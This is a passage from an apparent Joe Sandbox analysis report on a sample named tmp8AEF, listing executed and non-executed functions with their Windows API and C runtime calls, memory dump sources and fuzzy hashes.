SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF7CA7AB5DD), ref: 00007FF7CA7AB490
GetLastError.KERNEL32(?,?,?,?,?,00007FF7CA7AB5DD), ref: 00007FF7CA7AB49A

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
Instruction ID: aa0f102f93082b806c7fb1aba727ece70a49d67cc56de007afebda20d1280aae
Opcode Fuzzy Hash: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
Instruction Fuzzy Hash: 14110162A08B8181EA10AF26B850179B361FB88BF5F945371EE7D0B7E9CF3CD8508700

Function 00007FF7CA7A9C58 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF7CA7B2032,?,?,?,00007FF7CA7B206F,?,?,00000000,00007FF7CA7B2535,?,?,?,00007FF7CA7B2467), ref: 00007FF7CA7A9C6E
GetLastError.KERNEL32(?,?,?,00007FF7CA7B2032,?,?,?,00007FF7CA7B206F,?,?,00000000,00007FF7CA7B2535,?,?,?,00007FF7CA7B2467), ref: 00007FF7CA7A9C78

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 9fa0b27d1784483699343fce5d0d8fb71a2fef38db5c10c130c8b92919593777
Instruction ID: 1d6493ec5e01895ebbe43a566c479143dcb47682a7b220f88ed2d7cd26b56a79
Opcode Fuzzy Hash: 9fa0b27d1784483699343fce5d0d8fb71a2fef38db5c10c130c8b92919593777
Instruction Fuzzy Hash: 94E04F51F0864252FF147FF378641799195BFAC723FC090B0DD0D47251EE2C68554220

Function 00007FF7CA7A9E68 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF7CA7A9CE5,?,?,00000000,00007FF7CA7A9D9A), ref: 00007FF7CA7A9ED6
GetLastError.KERNEL32(?,?,?,00007FF7CA7A9CE5,?,?,00000000,00007FF7CA7A9D9A), ref: 00007FF7CA7A9EE0

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
Instruction ID: eeccf3506636d1aa6ffe31bfde24f3d782660f239bd6952502b8915579e3b420
Opcode Fuzzy Hash: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
Instruction Fuzzy Hash: 1D219512F1C68261FB607FA6B460379A2917F8C7B2F8462B5D92D476D2CE6CA8504320

Function 00007FF7CA7AB1BC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7AB1E4

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: aa739a885bc1dd54b6575df94a709b393c0322d321e92581108345db9e2bb901
Instruction ID: f715749b8c7a1d3fb6fd424840336543f19b0d17edcee2154132483546f41447
Opcode Fuzzy Hash: aa739a885bc1dd54b6575df94a709b393c0322d321e92581108345db9e2bb901
Instruction Fuzzy Hash: FF41B23290820197FA24AE56F56117DF3A0FB997A2F942171DA8A836D0CF3CED42C770

Function 00007FF7CA7976A0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7CA79774A

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: dd5b2227001afc13c5a7990e13e49d1c192561707a6cc0805bc8ebd48f98ae76
Instruction ID: 83d94fddd9bca09ea392569875febb3714e44b9349a0010cfdeae15aad2ce144
Opcode Fuzzy Hash: dd5b2227001afc13c5a7990e13e49d1c192561707a6cc0805bc8ebd48f98ae76
Instruction Fuzzy Hash: 75219121B0825146FA14AE37B924BBAE741BF4DBE5FC844B2DE0D07782CE3DE441C620

Function 00007FF7CA7AAC4C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7AACD2

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 41d876f7d863186cb99ffae5cfc70294694b7844598519de76c307bd1dc1648a
Instruction ID: ea2fc463f67cc339a2a8a69ec6218b864cd8f2b9d33d69960605b7369e786df0
Opcode Fuzzy Hash: 41d876f7d863186cb99ffae5cfc70294694b7844598519de76c307bd1dc1648a
Instruction Fuzzy Hash: 5431C022E18646A2FF01BF16A86037DA690BB58B73F9121B5DA1D173D2CE7DEC518330

Function 00007FF7CA7A8C79 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7CA7A8CA7

Part of subcall function 00007FF7CA7A8DA0: GetModuleHandleExW.KERNEL32 ref: 00007FF7CA7A8DC5
Part of subcall function 00007FF7CA7A8DA0: GetProcAddress.KERNEL32 ref: 00007FF7CA7A8DDB
Part of subcall function 00007FF7CA7A8DA0: FreeLibrary.KERNEL32 ref: 00007FF7CA7A8E02

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: ce8bbb5f42c0c70f8d6cb0f644a2b9beff4cd55938d93e86477bcb8353de4fc0
Instruction ID: 5b10f424c690cd173b8eadd34acf8b62e71e144747b41836cb77f286a3895f9a
Opcode Fuzzy Hash: ce8bbb5f42c0c70f8d6cb0f644a2b9beff4cd55938d93e86477bcb8353de4fc0
Instruction Fuzzy Hash: 18219F33A15705D9FB24AF65E4542EC73A0FB48329F8456BAD62C06AC5DF38D846CB60

Function 00007FF7CA7A52A4 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A5209

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
Instruction ID: e90d3fcdacc8c877a378829552b2ceb920b5f794e91d03d7896f9eb9caf1ca3f
Opcode Fuzzy Hash: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
Instruction Fuzzy Hash: CD11C622A1D28161FA60BF42F42017EE2A4BF59BA1FD45071EB4D57AC6CF3DDC508760

Function 00007FF7CA7B5664 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B5687

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
Instruction ID: 60d22ca11c2f3b52770c28cc929c60fbed8105e8c58c3c1dcef64521ffc8feb9
Opcode Fuzzy Hash: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
Instruction Fuzzy Hash: B121C87261874186EB61AF19F460379B3A0FB98B65F944234DA5E476D5DF3CD8008B10

Function 00007FF7CA79F6DC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA79F730

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
Instruction ID: ab56e8c3e4cb33c285bac3f77601e5407164992e197799701c2b9bd7b800ccfb
Opcode Fuzzy Hash: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
Instruction Fuzzy Hash: 1B017021A0878240FA04AF777910469E795BB59FF1B884671DE6C17BD6DE3DD4128310

Function 00007FF7CA7A720C Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A724A

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bb049028caba5e04dba667320418798f18563eb801bd7df1d5910388d10efff1
Instruction ID: 9108f86139c7d4da17dd6cdbed356ea2421980c3d9be421b1235149c4a925118
Opcode Fuzzy Hash: bb049028caba5e04dba667320418798f18563eb801bd7df1d5910388d10efff1
Instruction Fuzzy Hash: AE010421E0D28260FE647FA37521179D2A4BF4D3B2FC461B4F91EC2AC2DE2CEC504224

Function 00007FF7CA7A7548 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A7561

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c51c900cc97cfaa1f2463de7ded10a88eb35566439d91f89b12c497efef6b613
Instruction ID: a89fb71c7bdaf2484241b40750284718635c03b75a457bec18cb4612cb28a544
Opcode Fuzzy Hash: c51c900cc97cfaa1f2463de7ded10a88eb35566439d91f89b12c497efef6b613
Instruction Fuzzy Hash: F9E08C92F0864362FA187EAA64A22799050BFAC322FD0A4B0D9088A283ED1C7C548631

Function 00007FF7CA7ADEA8 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF7CA7AA63A,?,?,?,00007FF7CA7A43FD,?,?,?,?,00007FF7CA7A979A), ref: 00007FF7CA7ADEFD

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: a50505f3dedbf875c6adc223253d20fad35851e197ada73c0c4444ee90b671f1
Instruction ID: b412a0d3dfc474146afc43433a8f44b6b708c68f14c67bf8664a1ce778e39509
Opcode Fuzzy Hash: a50505f3dedbf875c6adc223253d20fad35851e197ada73c0c4444ee90b671f1
Instruction Fuzzy Hash: 01F04F55B09247A1FE547E637A713B692947FACB62FC860B1DD0E862C2ED1CAD454230

Function 00007FF7CA7AC90C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF7CA79FFB0,?,?,?,00007FF7CA7A161A,?,?,?,?,?,00007FF7CA7A2E09), ref: 00007FF7CA7AC94A

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
Instruction ID: 9b5f142718a156e89b28036550ac1cbc8fdf74b58dbe368036d57a75087aa942
Opcode Fuzzy Hash: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
Instruction Fuzzy Hash: 04F03A51B19247A5FE547EE3797167591807F9CBB3F88A2B09D2E462C1DE1CA8448130

Non-executed Functions

Function 00007FF7CA79C44C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7CA79C468
RtlCaptureContext.KERNEL32 ref: 00007FF7CA79C495
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7CA79C4AF
RtlVirtualUnwind.KERNEL32 ref: 00007FF7CA79C4F0
IsDebuggerPresent.KERNEL32 ref: 00007FF7CA79C544
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7CA79C561
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7CA79C56C

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
Instruction ID: fe7a976ad11d79304e168e7d829824812e7c869bcf1f32b4933ca3257193fedb
Opcode Fuzzy Hash: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
Instruction Fuzzy Hash: 68315EB2608B818AFB609F61F8507EEB364FB98755F84403ADA4D47B94DF38C548C724

Function 00007FF7CA7929E0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7CA79342E,?,00007FF7CA793534), ref: 00007FF7CA792A14
FormatMessageW.KERNEL32(?,?,?,00007FF7CA79342E), ref: 00007FF7CA792A7D
MessageBoxW.USER32 ref: 00007FF7CA792ACF

Strings

%ls%ls: %ls, xrefs: 00007FF7CA792A96
<FormatMessageW failed.>, xrefs: 00007FF7CA792A83
Error, xrefs: 00007FF7CA792ABE

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Message$ErrorFormatLast
String ID: %ls%ls: %ls$<FormatMessageW failed.>$Error
API String ID: 3971115935-1149178304
Opcode ID: 0ded6d4e5eeb2df7dd6c32992adf891535d6bffb348d119068df09e90069f5ad
Instruction ID: 4250e1d6aa25750368fcfd56bc4043e7a89557ad79938c11b45ca0487a98d378
Opcode Fuzzy Hash: 0ded6d4e5eeb2df7dd6c32992adf891535d6bffb348d119068df09e90069f5ad
Instruction Fuzzy Hash: 26214F72618B8192F720AF21F4606EAA364FB8C795F800136EE8D53A98DF3CD5468B50

Function 00007FF7CA7B4F10 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7CA7B4F55

Part of subcall function 00007FF7CA7B48A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B48BC

Part of subcall function 00007FF7CA7A9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF7CA7B2032,?,?,?,00007FF7CA7B206F,?,?,00000000,00007FF7CA7B2535,?,?,?,00007FF7CA7B2467), ref: 00007FF7CA7A9C6E
Part of subcall function 00007FF7CA7A9C58: GetLastError.KERNEL32(?,?,?,00007FF7CA7B2032,?,?,?,00007FF7CA7B206F,?,?,00000000,00007FF7CA7B2535,?,?,?,00007FF7CA7B2467), ref: 00007FF7CA7A9C78

Part of subcall function 00007FF7CA7A9C10: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7CA7A9BEF,?,?,?,?,?,00007FF7CA7A9ADA), ref: 00007FF7CA7A9C19
Part of subcall function 00007FF7CA7A9C10: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7CA7A9BEF,?,?,?,?,?,00007FF7CA7A9ADA), ref: 00007FF7CA7A9C3E

_get_daylight.LIBCMT ref: 00007FF7CA7B4F44

Part of subcall function 00007FF7CA7B4908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B491C

_get_daylight.LIBCMT ref: 00007FF7CA7B51BA
_get_daylight.LIBCMT ref: 00007FF7CA7B51CB
_get_daylight.LIBCMT ref: 00007FF7CA7B51DC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CA7B541C), ref: 00007FF7CA7B5203

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 0d3b627969e88128c8faa99a2c0e5d438b7f33ec3044a67c5b643e0657b8cf50
Instruction ID: 475dcff8af34952df7fbc75609c0b8e964b7cda9e0bb69a7eacc0b0c14469098
Opcode Fuzzy Hash: 0d3b627969e88128c8faa99a2c0e5d438b7f33ec3044a67c5b643e0657b8cf50
Instruction Fuzzy Hash: EFD19FA6E0874286F720BF27B8601B9A3A1FB687A6FC44175DE0E47695DF3CE451C360

Function 00007FF7CA7A9924 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7CA7A999D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7CA7A99B5
